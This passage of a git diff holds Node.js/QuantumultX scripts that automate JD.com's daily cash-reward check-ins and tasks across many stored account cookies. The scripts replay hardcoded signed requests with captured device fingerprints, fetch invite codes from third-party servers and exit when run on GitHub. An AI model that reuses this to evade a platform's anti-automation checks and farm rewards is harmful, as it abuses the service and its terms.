`body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`appindex API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + if(info){ + if (message) { + message += `当前现金:${data.data.result.totalMoney}元`; + allMessage += `京东账号${$.index}${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + console.log(`\n\n当前现金:${data.data.result.totalMoney}元`); + return + } + $.signMoney = data.data.result.totalMoney; + // console.log(`您的助力码为${data.data.result.invitedCode}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.invitedCode}\n`); + let helpInfo = { + 'inviteCode': data.data.result.invitedCode, + 'shareDate': data.data.result.shareDate + } + $.shareDate = data.data.result.shareDate; + // $.log(`shareDate: ${$.shareDate}`) + // console.log(helpInfo) + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 30) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function index() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`index API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 31) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function appdoTask(type,taskInfo) { + let functionId = 'cash_doTask' + let body = {"type":type,"taskInfo":taskInfo} + // let sign = await getSign(functionId, body) + // console.log(sign) + let sign = "body=%7B%22type%22%3A3%2C%22taskInfo%22%3A%22https%3A%2F%2Flottery.m.jd.com%2F%23%2Fhome%3Fubb_ch%3Djinggou%26channelCode%3Dqiche_system_id%22%7D&client=apple&clientVersion=11.0.2&st=1658985224276&sv=102&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJOyDIeyDNC2%22%2C%22wifiBssid%22%3A%22ENDuDzZsDJDrZtc2DQVwDzunYtKmCNc2Yzq3CJY3DNG%3D%22%2C%22osVersion%22%3A%22CJGkCK%3D%3D%22%2C%22area%22%3A%22CtdpCJSmC18nDtKnC18nDtcyCK%3D%3D%22%2C%22openudid%22%3A%22EWUyCWCmEJq1DtczDNdwCNCnDzvrYwYyDwU0CNCyCJSyCzc0CQDwEK%3D%3D%22%2C%22uuid%22%3A%22EWUyCWCmEJq1DtczDNdwCNCnDzvrYwYyDwU0CNCyCJSyCzc0CQDwEK%3D%3D%22%7D%2C%22ts%22%3A1658985224276%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ef=1&sign=358a5cfa520db5f86f10d76f0c77e98c" + //let sign = await getSignfromPanda(functionId, body) + + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`appdoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 0) { + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(type,taskInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_doTask",{"type":type,"taskInfo":taskInfo}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0){ + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getSignfromPanda(functionId, body) { + var strsign = ''; + let data = { + "fn":functionId, + "body": body + } + return new Promise((resolve) => { + let url = { + url: "https://api.jds.codes/jd/sign", + body: JSON.stringify(data), + followRedirect: false, + headers: { + 'Accept': '*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json', + }, + timeout: 30000 + } + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + strsign=data.data.sign; + + }catch (e) { + $.logErr(e, resp); + }finally { + resolve(strsign); + } + }) + }) +} + + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://code.chiang.fun/api/v1/jd/jdcash/read/${randomCount}/`, 'timeout': 30000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30000); + resolve() + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CASH_SHARECODES) { + if (process.env.JD_CASH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD_CASH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD_CASH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京东签到领现金邀请码:${$.getdata('jd_cash_invite')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function deepCopy(obj) { + let objClone = Array.isArray(obj) ? [] : {}; + if (obj && typeof obj === "object") { + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + //判断ojb子元素是否为对象,如果是,递归复制 + if (obj[key] && typeof obj[key] === "object") { + objClone[key] = deepCopy(obj[key]); + } else { + //如果不是,简单复制 + objClone[key] = obj[key]; + } + } + } + } + return objClone; +} + +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 30000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +//签到 +function mob_sign() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_sign", { "breakReward": 1 }), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash_mob_sign API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data); + if (data.data.bizCode === 0) { + console.log(`签到${data.data.bizMsg}`) + } else { + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +//获取任务 +function mob_home() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash_mob_home API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 31) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type === 3 || task.type === 5 || task.type === 17 || task.type === 21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cash_Mod_Panda.js b/jd_cash_Mod_Panda.js new file mode 100644 index 0000000..3c277a0 --- /dev/null +++ b/jd_cash_Mod_Panda.js @@ -0,0 +1,544 @@ +/* +签到领现金,每日2毛~5毛 +可互助,助力码每日不变,只变日期 +活动入口:京东APP搜索领现金进入 +更新时间:2021-06-07 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#签到领现金 +2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金 + +===============Surge================= +签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js + +============小火箭========= +签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true + */ +const $ = new Env('签到领现金_Panda'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true; +const randomCount = $.isNode() ? 5 : 5; +let cash_exchange = false;//是否消耗2元红包兑换200京豆,默认否 +const inviteCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +let jdPandaToken = ''; +jdPandaToken = $.isNode() ? (process.env.PandaToken ? process.env.PandaToken : `${jdPandaToken}`) : ($.getdata('PandaToken') ? $.getdata('PandaToken') : `${jdPandaToken}`); + + +!(async () => { + if (!jdPandaToken) { + console.log('请填写Panda获取的Token,变量是PandaToken'); + return; + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // await requireConfig() + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.signMoney = 0; + + await appindex() + await index() + + $.exchangeBeanNum = 0; + cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`); + + await appindex(true) +} + +async function appindex(info=false) { + let functionId = "cash_homePage" + let sign = 